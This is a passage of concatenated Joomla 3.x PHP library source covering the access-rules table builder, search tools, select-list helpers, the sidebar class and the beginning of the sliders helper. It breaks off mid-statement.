JText::_('JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_ACL') . '
' . $actionTitle . ' '
. JText::_('JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_TABLE') .
'</caption>';
$html[] = ' <tr>';
$html[] = ' <th class="col1 hidelabeltxt">'
. JText::_('JLIB_RULES_GROUP') . '</th>';
$html[] = ' <th class="col2">' .
JText::_('JLIB_RULES_INHERIT') . '</th>';
$html[] = ' <th class="col3 hidelabeltxt">'
. JText::_('JMODIFY') . '</th>';
$html[] = ' <th class="col4">' .
JText::_('JCURRENT') . '</th>';
$html[] = ' </tr>';
foreach ($groups as $i => $group)
{
$selected = $rules->allow($action->name, $group->value);
$html[] = ' <tr class="row' . ($i % 2) .
'">';
$html[] = ' <td class="col1">' .
$group->text . '</td>';
$html[] = ' <td class="col2">'
. ($inheriting->allow($action->name, $group->identities) ?
$images['allow-i'] : $images['deny-i']) .
'</td>';
$html[] = ' <td class="col3">';
$html[] = ' <select id="' . $idPrefix .
'_' . $action->name . '_' . $group->value
. '" class="inputbox" size="1"
name="' . $control . '[' . $action->name .
'][' . $group->value . ']" title="'
. JText::sprintf('JLIB_RULES_SELECT_ALLOW_DENY_GROUP',
$actionTitle, $group->text) . '">';
$html[] = ' <option value=""' . ($selected
=== null ? ' selected="selected"' : '') .
'>'
. JText::_('JLIB_RULES_INHERIT') .
'</option>';
$html[] = ' <option value="1"' . ($selected
=== true ? ' selected="selected"' : '') .
'>'
. JText::_('JLIB_RULES_ALLOWED') .
'</option>';
$html[] = ' <option value="0"' . ($selected
=== false ? ' selected="selected"' : '') .
'>'
. JText::_('JLIB_RULES_DENIED') .
'</option>';
$html[] = ' </select>';
$html[] = ' </td>';
$html[] = ' <td class="col4">'
. ($assetId ? ($inherited->allow($action->name,
$group->identities) ? $images['allow'] :
$images['deny'])
: ($inheriting->allow($action->name, $group->identities) ?
$images['allow'] : $images['deny'])) .
'</td>';
$html[] = ' </tr>';
}
$html[] = ' </table>';
}
$html[] = JHtml::_('tabs.end');
// Build the footer with legend and special purpose buttons.
$html[] = ' <div class="clr"></div>';
$html[] = ' <ul class="acllegend fltlft">';
$html[] = ' <li class="acl-allowed">' .
JText::_('JLIB_RULES_ALLOWED') . '</li>';
$html[] = ' <li class="acl-denied">' .
JText::_('JLIB_RULES_DENIED') . '</li>';
$html[] = ' </ul>';
$html[] = '</div>';
return implode("\n", $html);
}
/**
* Get the id of the parent asset
*
* @param integer $assetId The asset for which the parentid will be
returned
*
* @return integer The id of the parent asset
*
* @since 1.6
* @deprecated 4.0
*/
protected static function _getParentAssetId($assetId)
{
// Get a database object.
$db = JFactory::getDbo();
$query = $db->getQuery(true);
// Get the user groups from the database.
$query->select($db->quoteName('parent_id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('id') . ' = ' . (int)
$assetId);
$db->setQuery($query);
return (int) $db->loadResult();
}
/**
* Get the user groups
*
* @return array Array of user groups
*
* @since 1.6
* @deprecated 4.0
*/
protected static function _getUserGroups()
{
// Get a database object.
$db = JFactory::getDbo();
// Get the user groups from the database.
$db->setQuery(
'SELECT a.id AS value, a.title AS text, b.id as parent'
. ' FROM #__usergroups AS a LEFT JOIN #__usergroups AS b ON a.lft
>= b.lft AND a.rgt <= b.rgt'
. ' ORDER BY a.lft ASC, b.lft ASC'
);
$result = $db->loadObjectList();
$options = array();
// Pre-compute additional values.
foreach ($result as $option)
{
$end = end($options);
if ($end === false || $end->value != $option->value)
{
$end = $option;
$end->level = 0;
$options[] = $end;
}
else
{
$end->level++;
}
$end->identities[] = $option->parent;
}
return $options;
}
/**
* Get the array of images associate with specific permissions
*
* @return array An associative array of permissions and images
*
* @since 1.6
* @deprecated 4.0
*/
protected static function _getImagesArray()
{
$images['allow-l'] = '<label
class="icon-16-allow" title="' .
JText::_('JLIB_RULES_ALLOWED') . '">' .
JText::_('JLIB_RULES_ALLOWED')
. '</label>';
$images['deny-l'] = '<label
class="icon-16-deny" title="' .
JText::_('JLIB_RULES_DENIED') . '">' .
JText::_('JLIB_RULES_DENIED') . '</label>';
$images['allow'] = '<a class="icon-16-allow"
title="' . JText::_('JLIB_RULES_ALLOWED') .
'"> </a>';
$images['deny'] = '<a class="icon-16-deny"
title="' . JText::_('JLIB_RULES_DENIED') .
'"> </a>';
$images['allow-i'] = '<a
class="icon-16-allowinactive" title="' .
JText::_('JRULE_ALLOWED_INHERITED') . '">
</a>';
$images['deny-i'] = '<a
class="icon-16-denyinactive" title="' .
JText::_('JRULE_DENIED_INHERITED') . '">
</a>';
return $images;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Searchtools elements.
*
* @since 3.2
*/
abstract class JHtmlSearchtools
{
/**
* @var array Array containing information for loaded files
* @since 3.2
*/
protected static $loaded = array();
/**
* Load the main Searchtools libraries
*
* @return void
*
* @since 3.2
*/
public static function main()
{
// Only load once
if (empty(static::$loaded[__METHOD__]))
{
// Requires jQuery but allows to skip its loading
if ($loadJquery = (!isset($options['loadJquery']) ||
$options['loadJquery'] != 0))
{
JHtml::_('jquery.framework');
}
// Load the jQuery plugin && CSS
JHtml::_('script', 'jui/jquery.searchtools.min.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/jquery.searchtools.css',
array('version' => 'auto', 'relative'
=> true));
static::$loaded[__METHOD__] = true;
}
return;
}
/**
* Load searchtools for a specific form
*
* @param mixed $selector Is debugging mode on? [optional]
* @param array $options Optional array of parameters for search
tools
*
* @return void
*
* @since 3.2
*/
public static function form($selector = '.js-stools-form',
$options = array())
{
$sig = md5(serialize(array($selector, $options)));
// Only load once
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
static::main();
// Add the form selector to the search tools options
$options['formSelector'] = $selector;
// Generate options with default values
$options = static::optionsToRegistry($options);
$doc = JFactory::getDocument();
$script = "
(function($){
$(document).ready(function() {
$('" . $selector . "').searchtools(
" . $options->toString() . "
);
});
})(jQuery);
";
$doc->addScriptDeclaration($script);
static::$loaded[__METHOD__][$sig] = true;
}
return;
}
/**
* Function to receive & pre-process javascript options
*
* @param mixed $options Associative array/Registry object with
options
*
* @return Registry Options converted to Registry object
*/
private static function optionsToRegistry($options)
{
// Support options array
if (is_array($options))
{
$options = new Registry($options);
}
if (!($options instanceof Registry))
{
$options = new Registry;
}
return $options;
}
/**
* Method to sort a column in a grid
*
* @param string $title The link title
* @param string $order The order field for the column
* @param string $direction The current direction
* @param mixed $selected The selected ordering
* @param string $task An optional task override
* @param string $newDirection An optional direction for the new
column
* @param string $tip An optional text shown as tooltip title
instead of $title
* @param string $icon Icon to show
* @param string $formName Name of the form to submit
*
* @return string
*/
public static function sort($title, $order, $direction = 'asc',
$selected = 0, $task = null, $newDirection = 'asc', $tip =
'', $icon = null,
$formName = 'adminForm')
{
$direction = strtolower($direction);
$orderIcons = array('icon-arrow-up-3',
'icon-arrow-down-3');
$index = (int) ($direction === 'desc');
if ($order !== $selected)
{
$direction = $newDirection;
}
else
{
$direction = $direction === 'desc' ? 'asc' :
'desc';
}
// Create an object to pass it to the layouts
$data = new stdClass;
$data->order = $order;
$data->direction = $direction;
$data->selected = $selected;
$data->task = $task;
$data->tip = $tip;
$data->title = $title;
$data->orderIcon = $orderIcons[$index];
$data->icon = $icon;
$data->formName = $formName;
return JLayoutHelper::render('joomla.searchtools.grid.sort',
$data);
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Utilities\ArrayHelper;
/**
* Utility class for creating HTML select lists
*
* @since 1.5
*/
abstract class JHtmlSelect
{
/**
* Default values for options. Organized by option group.
*
* @var array
* @since 1.5
*/
protected static $optionDefaults = array(
'option' => array(
'option.attr' => null,
'option.disable' => 'disable',
'option.id' => null,
'option.key' => 'value',
'option.key.toHtml' => true,
'option.label' => null,
'option.label.toHtml' => true,
'option.text' => 'text',
'option.text.toHtml' => true,
'option.class' => 'class',
'option.onclick' => 'onclick',
),
);
/**
* Generates a yes/no radio list.
*
* @param string $name The value of the HTML name attribute
* @param array $attribs Additional HTML attributes for the
`<select>` tag
* @param string $selected The key that is selected
* @param string $yes Language key for Yes
* @param string $no Language key for no
* @param mixed $id The id for the field or false for no id
*
* @return string HTML for the radio list
*
* @since 1.5
* @see JFormFieldRadio
*/
public static function booleanlist($name, $attribs = array(), $selected =
null, $yes = 'JYES', $no = 'JNO', $id = false)
{
$arr = array(JHtml::_('select.option', '0',
JText::_($no)), JHtml::_('select.option', '1',
JText::_($yes)));
return JHtml::_('select.radiolist', $arr, $name, $attribs,
'value', 'text', (int) $selected, $id);
}
/**
* Generates an HTML selection list.
*
* @param array $data An array of objects, arrays, or scalars.
* @param string $name The value of the HTML name attribute.
* @param mixed $attribs Additional HTML attributes for the
`<select>` tag. This
* can be an array of attributes, or an
array of options. Treated as options
* if it is the last argument passed. Valid
options are:
* Format options, see {@see
JHtml::$formatOptions}.
* Selection options, see {@see
JHtmlSelect::options()}.
* list.attr, string|array: Additional
attributes for the select
* element.
* id, string: Value to use as the select
element id attribute.
* Defaults to the same as the name.
* list.select, string|array: Identifies one
or more option elements
* to be selected, based on the option key
values.
* @param string $optKey The name of the object variable for the
option value. If
* set to null, the index of the value array
is used.
* @param string $optText The name of the object variable for the
option text.
* @param mixed $selected The key that is selected (accepts an
array or a string).
* @param mixed $idtag Value of the field id or null by default
* @param boolean $translate True to translate
*
* @return string HTML for the select list.
*
* @since 1.5
*/
public static function genericlist($data, $name, $attribs = null, $optKey
= 'value', $optText = 'text', $selected = null, $idtag
= false,
$translate = false)
{
// Set default options
$options = array_merge(JHtml::$formatOptions,
array('format.depth' => 0, 'id' => false));
if (is_array($attribs) && func_num_args() === 3)
{
// Assume we have an options array
$options = array_merge($options, $attribs);
}
else
{
// Get options from the parameters
$options['id'] = $idtag;
$options['list.attr'] = $attribs;
$options['list.translate'] = $translate;
$options['option.key'] = $optKey;
$options['option.text'] = $optText;
$options['list.select'] = $selected;
}
$attribs = '';
if (isset($options['list.attr']))
{
if (is_array($options['list.attr']))
{
$attribs = ArrayHelper::toString($options['list.attr']);
}
else
{
$attribs = $options['list.attr'];
}
if ($attribs !== '')
{
$attribs = ' ' . $attribs;
}
}
$id = $options['id'] !== false ? $options['id'] :
$name;
$id = str_replace(array('[', ']', ' '),
'', $id);
$baseIndent = str_repeat($options['format.indent'],
$options['format.depth']++);
$html = $baseIndent . '<select' . ($id !== '' ?
' id="' . $id . '"' : '') . '
name="' . $name . '"' . $attribs .
'>' . $options['format.eol']
. static::options($data, $options) . $baseIndent .
'</select>' . $options['format.eol'];
return $html;
}
/**
* Method to build a list with suggestions
*
* @param array $data An array of objects, arrays, or values.
* @param string $optKey The name of the object variable for the
option value. If
* set to null, the index of the value array
is used.
* @param string $optText The name of the object variable for the
option text.
* @param mixed $idtag Value of the field id or null by default
* @param boolean $translate True to translate
*
* @return string HTML for the select list
*
* @since 3.2
* @deprecated 4.0 Just create the `<datalist>` directly instead
*/
public static function suggestionlist($data, $optKey = 'value',
$optText = 'text', $idtag = null, $translate = false)
{
// Log deprecated message
JLog::add(
sprintf(
'%s() is deprecated. Create the <datalist> tag directly
instead.',
__METHOD__
),
JLog::WARNING,
'deprecated'
);
// Note: $idtag is required but has to be an optional argument in the
funtion call due to argument order
if (!$idtag)
{
throw new InvalidArgumentException('$idtag is a required argument
in deprecated JHtmlSelect::suggestionlist');
}
// Set default options
$options = array_merge(JHtml::$formatOptions,
array('format.depth' => 0, 'id' => false));
// Get options from the parameters
$options['id'] = $idtag;
$options['list.attr'] = null;
$options['list.translate'] = $translate;
$options['option.key'] = $optKey;
$options['option.text'] = $optText;
$options['list.select'] = null;
$id = ' id="' . $idtag . '"';
$baseIndent = str_repeat($options['format.indent'],
$options['format.depth']++);
$html = $baseIndent . '<datalist' . $id . '>' .
$options['format.eol']
. static::options($data, $options) . $baseIndent .
'</datalist>' . $options['format.eol'];
return $html;
}
/**
* Generates a grouped HTML selection list from nested arrays.
*
* @param array $data An array of groups, each of which is an
array of options.
* @param string $name The value of the HTML name attribute
* @param array $options Options, an array of key/value pairs. Valid
options are:
* Format options, {@see
JHtml::$formatOptions}.
* Selection options. See {@see
JHtmlSelect::options()}.
* group.id: The property in each group to use
as the group id
* attribute. Defaults to none.
* group.label: The property in each group to
use as the group
* label. Defaults to "text". If set
to null, the data array index key is
* used.
* group.items: The property in each group to
use as the array of
* items in the group. Defaults to
"items". If set to null, group.id and
* group. label are forced to null and the data
element is assumed to be a
* list of selections.
* id: Value to use as the select element id
attribute. Defaults to
* the same as the name.
* list.attr: Attributes for the select
element. Can be a string or
* an array of key/value pairs. Defaults to
none.
* list.select: either the value of one
selected option or an array
* of selected options. Default: none.
* list.translate: Boolean. If set, text and
labels are translated via
* JText::_().
*
* @return string HTML for the select list
*
* @since 1.5
* @throws RuntimeException If a group has contents that cannot be
processed.
*/
public static function groupedlist($data, $name, $options = array())
{
// Set default options and overwrite with anything passed in
$options = array_merge(
JHtml::$formatOptions,
array('format.depth' => 0, 'group.items' =>
'items', 'group.label' => 'text',
'group.label.toHtml' => true, 'id' => false),
$options
);
// Apply option rules
if ($options['group.items'] === null)
{
$options['group.label'] = null;
}
$attribs = '';
if (isset($options['list.attr']))
{
if (is_array($options['list.attr']))
{
$attribs = ArrayHelper::toString($options['list.attr']);
}
else
{
$attribs = $options['list.attr'];
}
if ($attribs !== '')
{
$attribs = ' ' . $attribs;
}
}
$id = $options['id'] !== false ? $options['id'] :
$name;
$id = str_replace(array('[', ']', ' '),
'', $id);
// Disable groups in the options.
$options['groups'] = false;
$baseIndent = str_repeat($options['format.indent'],
$options['format.depth']++);
$html = $baseIndent . '<select' . ($id !== '' ?
' id="' . $id . '"' : '') . '
name="' . $name . '"' . $attribs .
'>' . $options['format.eol'];
$groupIndent = str_repeat($options['format.indent'],
$options['format.depth']++);
foreach ($data as $dataKey => $group)
{
$label = $dataKey;
$id = '';
$noGroup = is_int($dataKey);
if ($options['group.items'] == null)
{
// Sub-list is an associative array
$subList = $group;
}
elseif (is_array($group))
{
// Sub-list is in an element of an array.
$subList = $group[$options['group.items']];
if (isset($group[$options['group.label']]))
{
$label = $group[$options['group.label']];
$noGroup = false;
}
if (isset($options['group.id']) &&
isset($group[$options['group.id']]))
{
$id = $group[$options['group.id']];
$noGroup = false;
}
}
elseif (is_object($group))
{
// Sub-list is in a property of an object
$subList = $group->{$options['group.items']};
if (isset($group->{$options['group.label']}))
{
$label = $group->{$options['group.label']};
$noGroup = false;
}
if (isset($options['group.id']) &&
isset($group->{$options['group.id']}))
{
$id = $group->{$options['group.id']};
$noGroup = false;
}
}
else
{
throw new RuntimeException('Invalid group contents.', 1);
}
if ($noGroup)
{
$html .= static::options($subList, $options);
}
else
{
$html .= $groupIndent . '<optgroup' . (empty($id) ?
'' : ' id="' . $id . '"') . '
label="'
. ($options['group.label.toHtml'] ? htmlspecialchars($label,
ENT_COMPAT, 'UTF-8') : $label) . '">' .
$options['format.eol']
. static::options($subList, $options) . $groupIndent .
'</optgroup>' . $options['format.eol'];
}
}
$html .= $baseIndent . '</select>' .
$options['format.eol'];
return $html;
}
/**
* Generates a selection list of integers.
*
* @param integer $start The start integer
* @param integer $end The end integer
* @param integer $inc The increment
* @param string $name The value of the HTML name attribute
* @param mixed $attribs Additional HTML attributes for the
`<select>` tag, an array of
* attributes, or an array of options.
Treated as options if it is the last
* argument passed.
* @param mixed $selected The key that is selected
* @param string $format The printf format to be applied to the
number
*
* @return string HTML for the select list
*
* @since 1.5
*/
public static function integerlist($start, $end, $inc, $name, $attribs =
null, $selected = null, $format = '')
{
// Set default options
$options = array_merge(JHtml::$formatOptions,
array('format.depth' => 0, 'option.format' =>
'', 'id' => null));
if (is_array($attribs) && func_num_args() === 5)
{
// Assume we have an options array
$options = array_merge($options, $attribs);
// Extract the format and remove it from downstream options
$format = $options['option.format'];
unset($options['option.format']);
}
else
{
// Get options from the parameters
$options['list.attr'] = $attribs;
$options['list.select'] = $selected;
}
$start = (int) $start;
$end = (int) $end;
$inc = (int) $inc;
$data = array();
for ($i = $start; $i <= $end; $i += $inc)
{
$data[$i] = $format ? sprintf($format, $i) : $i;
}
// Tell genericlist() to use array keys
$options['option.key'] = null;
return JHtml::_('select.genericlist', $data, $name, $options);
}
/**
* Create a placeholder for an option group.
*
* @param string $text The text for the option
* @param string $optKey The returned object property name for the
value
* @param string $optText The returned object property name for the
text
*
* @return stdClass
*
* @deprecated 4.0 Use JHtmlSelect::groupedList()
* @see JHtmlSelect::groupedList()
* @since 1.5
*/
public static function optgroup($text, $optKey = 'value',
$optText = 'text')
{
JLog::add('JHtmlSelect::optgroup() is deprecated, use
JHtmlSelect::groupedList() instead.', JLog::WARNING,
'deprecated');
// Set initial state
static $state = 'open';
// Toggle between open and close states:
switch ($state)
{
case 'open':
$obj = new stdClass;
$obj->$optKey = '<OPTGROUP>';
$obj->$optText = $text;
$state = 'close';
break;
case 'close':
$obj = new stdClass;
$obj->$optKey = '</OPTGROUP>';
$obj->$optText = $text;
$state = 'open';
break;
}
return $obj;
}
/**
* Create an object that represents an option in an option list.
*
* @param string $value The value of the option
* @param string $text The text for the option
* @param mixed $optKey If a string, the returned object property
name for
* the value. If an array, options. Valid
options are:
* attr: String|array. Additional attributes
for this option.
* Defaults to none.
* disable: Boolean. If set, this option is
disabled.
* label: String. The value for the option
label.
* option.attr: The property in each option
array to use for
* additional selection attributes. Defaults
to none.
* option.disable: The property that will hold
the disabled state.
* Defaults to "disable".
* option.key: The property that will hold the
selection value.
* Defaults to "value".
* option.label: The property in each option
array to use as the
* selection label attribute. If a
"label" option is provided, defaults to
* "label", if no label is given,
defaults to null (none).
* option.text: The property that will hold
the the displayed text.
* Defaults to "text". If set to
null, the option array is assumed to be a
* list of displayable scalars.
* @param string $optText The property that will hold the the
displayed text. This
* parameter is ignored if an options array is
passed.
* @param boolean $disable Not used.
*
* @return stdClass
*
* @since 1.5
*/
public static function option($value, $text = '', $optKey =
'value', $optText = 'text', $disable = false)
{
$options = array(
'attr' => null,
'disable' => false,
'option.attr' => null,
'option.disable' => 'disable',
'option.key' => 'value',
'option.label' => null,
'option.text' => 'text',
);
if (is_array($optKey))
{
// Merge in caller's options
$options = array_merge($options, $optKey);
}
else
{
// Get options from the parameters
$options['option.key'] = $optKey;
$options['option.text'] = $optText;
$options['disable'] = $disable;
}
$obj = new stdClass;
$obj->{$options['option.key']} = $value;
$obj->{$options['option.text']} = trim($text) ? $text :
$value;
/*
* If a label is provided, save it. If no label is provided and there is
* a label name, initialise to an empty string.
*/
$hasProperty = $options['option.label'] !== null;
if (isset($options['label']))
{
$labelProperty = $hasProperty ? $options['option.label'] :
'label';
$obj->$labelProperty = $options['label'];
}
elseif ($hasProperty)
{
$obj->{$options['option.label']} = '';
}
// Set attributes only if there is a property and a value
if ($options['attr'] !== null)
{
$obj->{$options['option.attr']} =
$options['attr'];
}
// Set disable only if it has a property and a value
if ($options['disable'] !== null)
{
$obj->{$options['option.disable']} =
$options['disable'];
}
return $obj;
}
/**
* Generates the option tags for an HTML select list (with no select tag
* surrounding the options).
*
* @param array $arr An array of objects, arrays, or values.
* @param mixed $optKey If a string, this is the name of the
object variable for
* the option value. If null, the index of
the array of objects is used. If
* an array, this is a set of options, as
key/value pairs. Valid options are:
* -Format options, {@see
JHtml::$formatOptions}.
* -groups: Boolean. If set, looks for keys
with the value
* "<optgroup>" and
synthesizes groups from them. Deprecated. Defaults
* true for backwards compatibility.
* -list.select: either the value of one
selected option or an array
* of selected options. Default: none.
* -list.translate: Boolean. If set, text
and labels are translated via
* JText::_(). Default is false.
* -option.id: The property in each option
array to use as the
* selection id attribute. Defaults to
none.
* -option.key: The property in each option
array to use as the
* selection value. Defaults to
"value". If set to null, the index of the
* option array is used.
* -option.label: The property in each
option array to use as the
* selection label attribute. Defaults to
null (none).
* -option.text: The property in each option
array to use as the
* displayed text. Defaults to
"text". If set to null, the option array is
* assumed to be a list of displayable
scalars.
* -option.attr: The property in each option
array to use for
* additional selection attributes.
Defaults to none.
* -option.disable: The property that will
hold the disabled state.
* Defaults to "disable".
* -option.key: The property that will hold
the selection value.
* Defaults to "value".
* -option.text: The property that will hold
the the displayed text.
* Defaults to "text". If set to
null, the option array is assumed to be a
* list of displayable scalars.
* @param string $optText The name of the object variable for the
option text.
* @param mixed $selected The key that is selected (accepts an
array or a string)
* @param boolean $translate Translate the option values.
*
* @return string HTML for the select list
*
* @since 1.5
*/
public static function options($arr, $optKey = 'value', $optText
= 'text', $selected = null, $translate = false)
{
$options = array_merge(
JHtml::$formatOptions,
static::$optionDefaults['option'],
array('format.depth' => 0, 'groups' => true,
'list.select' => null, 'list.translate' => false)
);
if (is_array($optKey))
{
// Set default options and overwrite with anything passed in
$options = array_merge($options, $optKey);
}
else
{
// Get options from the parameters
$options['option.key'] = $optKey;
$options['option.text'] = $optText;
$options['list.select'] = $selected;
$options['list.translate'] = $translate;
}
$html = '';
$baseIndent = str_repeat($options['format.indent'],
$options['format.depth']);
foreach ($arr as $elementKey => &$element)
{
$attr = '';
$extra = '';
$label = '';
$id = '';
if (is_array($element))
{
$key = $options['option.key'] === null ? $elementKey :
$element[$options['option.key']];
$text = $element[$options['option.text']];
if (isset($element[$options['option.attr']]))
{
$attr = $element[$options['option.attr']];
}
if (isset($element[$options['option.id']]))
{
$id = $element[$options['option.id']];
}
if (isset($element[$options['option.label']]))
{
$label = $element[$options['option.label']];
}
if (isset($element[$options['option.disable']]) &&
$element[$options['option.disable']])
{
$extra .= ' disabled="disabled"';
}
}
elseif (is_object($element))
{
$key = $options['option.key'] === null ? $elementKey :
$element->{$options['option.key']};
$text = $element->{$options['option.text']};
if (isset($element->{$options['option.attr']}))
{
$attr = $element->{$options['option.attr']};
}
if (isset($element->{$options['option.id']}))
{
$id = $element->{$options['option.id']};
}
if (isset($element->{$options['option.label']}))
{
$label = $element->{$options['option.label']};
}
if (isset($element->{$options['option.disable']})
&& $element->{$options['option.disable']})
{
$extra .= ' disabled="disabled"';
}
if (isset($element->{$options['option.class']}) &&
$element->{$options['option.class']})
{
$extra .= ' class="' .
$element->{$options['option.class']} . '"';
}
if (isset($element->{$options['option.onclick']})
&& $element->{$options['option.onclick']})
{
$extra .= ' onclick="' .
$element->{$options['option.onclick']} . '"';
}
}
else
{
// This is a simple associative array
$key = $elementKey;
$text = $element;
}
/*
* The use of options that contain optgroup HTML elements was
* somewhat hacked for J1.5. J1.6 introduces the grouplist() method
* to handle this better. The old solution is retained through the
* "groups" option, which defaults true in J1.6, but should be
* deprecated at some point in the future.
*/
$key = (string) $key;
if ($key === '<OPTGROUP>' &&
$options['groups'])
{
$html .= $baseIndent . '<optgroup label="' .
($options['list.translate'] ? JText::_($text) : $text) .
'">' . $options['format.eol'];
$baseIndent = str_repeat($options['format.indent'],
++$options['format.depth']);
}
elseif ($key === '</OPTGROUP>' &&
$options['groups'])
{
$baseIndent = str_repeat($options['format.indent'],
--$options['format.depth']);
$html .= $baseIndent . '</optgroup>' .
$options['format.eol'];
}
else
{
// If no string after hyphen - take hyphen out
$splitText = explode(' - ', $text, 2);
$text = $splitText[0];
if (isset($splitText[1]) && $splitText[1] !== ''
&& !preg_match('/^[\s]+$/', $splitText[1]))
{
$text .= ' - ' . $splitText[1];
}
if (!empty($label) && $options['list.translate'])
{
$label = JText::_($label);
}
if ($options['option.label.toHtml'])
{
$label = htmlentities($label);
}
if (is_array($attr))
{
$attr = ArrayHelper::toString($attr);
}
else
{
$attr = trim($attr);
}
$extra = ($id ? ' id="' . $id . '"' :
'') . ($label ? ' label="' . $label .
'"' : '') . ($attr ? ' ' . $attr :
'') . $extra;
if (is_array($options['list.select']))
{
foreach ($options['list.select'] as $val)
{
$key2 = is_object($val) ? $val->{$options['option.key']}
: $val;
if ($key == $key2)
{
$extra .= ' selected="selected"';
break;
}
}
}
elseif ((string) $key === (string) $options['list.select'])
{
$extra .= ' selected="selected"';
}
if ($options['list.translate'])
{
$text = JText::_($text);
}
// Generate the option, encoding as required
$html .= $baseIndent . '<option value="' .
($options['option.key.toHtml'] ? htmlspecialchars($key,
ENT_COMPAT, 'UTF-8') : $key) . '"'
. $extra . '>';
$html .= $options['option.text.toHtml'] ?
htmlentities(html_entity_decode($text, ENT_COMPAT, 'UTF-8'),
ENT_COMPAT, 'UTF-8') : $text;
$html .= '</option>' .
$options['format.eol'];
}
}
return $html;
}
/**
* Generates an HTML radio list.
*
* @param array $data An array of objects
* @param string $name The value of the HTML name attribute
* @param string $attribs Additional HTML attributes for the
`<select>` tag
* @param mixed $optKey The key that is selected
* @param string $optText The name of the object variable for the
option value
* @param string $selected The name of the object variable for the
option text
* @param boolean $idtag Value of the field id or null by default
* @param boolean $translate True if options will be translated
*
* @return string HTML for the select list
*
* @since 1.5
*/
public static function radiolist($data, $name, $attribs = null, $optKey =
'value', $optText = 'text', $selected = null, $idtag =
false,
$translate = false)
{
if (is_array($attribs))
{
$attribs = ArrayHelper::toString($attribs);
}
$id_text = $idtag ?: $name;
$html = '<div class="controls">';
foreach ($data as $obj)
{
$k = $obj->$optKey;
$t = $translate ? JText::_($obj->$optText) : $obj->$optText;
$id = (isset($obj->id) ? $obj->id : null);
$extra = '';
$id = $id ? $obj->id : $id_text . $k;
if (is_array($selected))
{
foreach ($selected as $val)
{
$k2 = is_object($val) ? $val->$optKey : $val;
if ($k == $k2)
{
$extra .= ' selected="selected" ';
break;
}
}
}
else
{
$extra .= ((string) $k === (string) $selected ? '
checked="checked" ' : '');
}
$html .= "\n\t" . '<label for="' . $id .
'" id="' . $id . '-lbl"
class="radio">';
$html .= "\n\t\n\t" . '<input type="radio"
name="' . $name . '" id="' . $id .
'" value="' . $k . '" ' . $extra
. $attribs . ' />' . $t;
$html .= "\n\t" . '</label>';
}
$html .= "\n";
$html .= '</div>';
$html .= "\n";
return $html;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class to render a list view sidebar
*
* @since 3.0
*/
abstract class JHtmlSidebar
{
/**
* Menu entries
*
* @var array
* @since 3.0
*/
protected static $entries = array();
/**
* Filters
*
* @var array
* @since 3.0
*/
protected static $filters = array();
/**
* Value for the action attribute of the form.
*
* @var string
* @since 3.0
*/
protected static $action = '';
/**
* Render the sidebar.
*
* @return string The necessary HTML to display the sidebar
*
* @since 3.0
*/
public static function render()
{
// Collect display data
$data = new stdClass;
$data->list = static::getEntries();
$data->filters = static::getFilters();
$data->action = static::getAction();
$data->displayMenu = count($data->list);
$data->displayFilters = count($data->filters);
$data->hide =
JFactory::getApplication()->input->getBool('hidemainmenu');
// Create a layout object and ask it to render the sidebar
$layout = new JLayoutFile('joomla.sidebars.submenu');
return $layout->render($data);
}
/**
* Method to add a menu item to submenu.
*
* @param string $name Name of the menu item.
* @param string $link URL of the menu item.
* @param bool $active True if the item is active, false otherwise.
*
* @return void
*
* @since 3.0
*/
public static function addEntry($name, $link = '', $active =
false)
{
static::$entries[] = array($name, $link, $active);
}
/**
* Returns an array of all submenu entries
*
* @return array
*
* @since 3.0
*/
public static function getEntries()
{
return static::$entries;
}
/**
* Method to add a filter to the submenu
*
* @param string $label Label for the menu item.
* @param string $name Name for the filter. Also used as id.
* @param string $options Options for the select field.
* @param bool $noDefault Don't show the label as the empty
option
*
* @return void
*
* @since 3.0
*/
public static function addFilter($label, $name, $options, $noDefault =
false)
{
static::$filters[] = array('label' => $label,
'name' => $name, 'options' => $options,
'noDefault' => $noDefault);
}
/**
* Returns an array of all filters
*
* @return array
*
* @since 3.0
*/
public static function getFilters()
{
return static::$filters;
}
/**
* Set value for the action attribute of the filter form
*
* @param string $action Value for the action attribute of the form
*
* @return void
*
* @since 3.0
*/
public static function setAction($action)
{
static::$action = $action;
}
/**
* Get value for the action attribute of the filter form
*
* @return string
*
* @since 3.0
*/
public static function getAction()
{
return static::$action;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for Sliders elements
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
abstract class JHtmlSliders
{
/**
* Creates a panes and loads the javascript behavior for it.
*
* @param string $group The pane identifier.
* @param array $params An array of options.
*
* @return string
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
public static function start($group = 'sliders', $params =
array())
{
static::loadBehavior($group, $params);
return '<div id="' . $group . '"
class="pane-sliders"><div
style="display:none;"><div>';
}
/**
* Close the current pane.
*
* @return string hTML to close the pane
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
public static function end()
{
return '</div></div></div>';
}
/**
* Begins the display of a new panel.
*
* @param string $text Text to display.
* @param string $id Identifier of the panel.
*
* @return string HTML to start a panel
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
public static function panel($text, $id)
{
return '</div></div><div
class="panel"><h3 class="pane-toggler title"
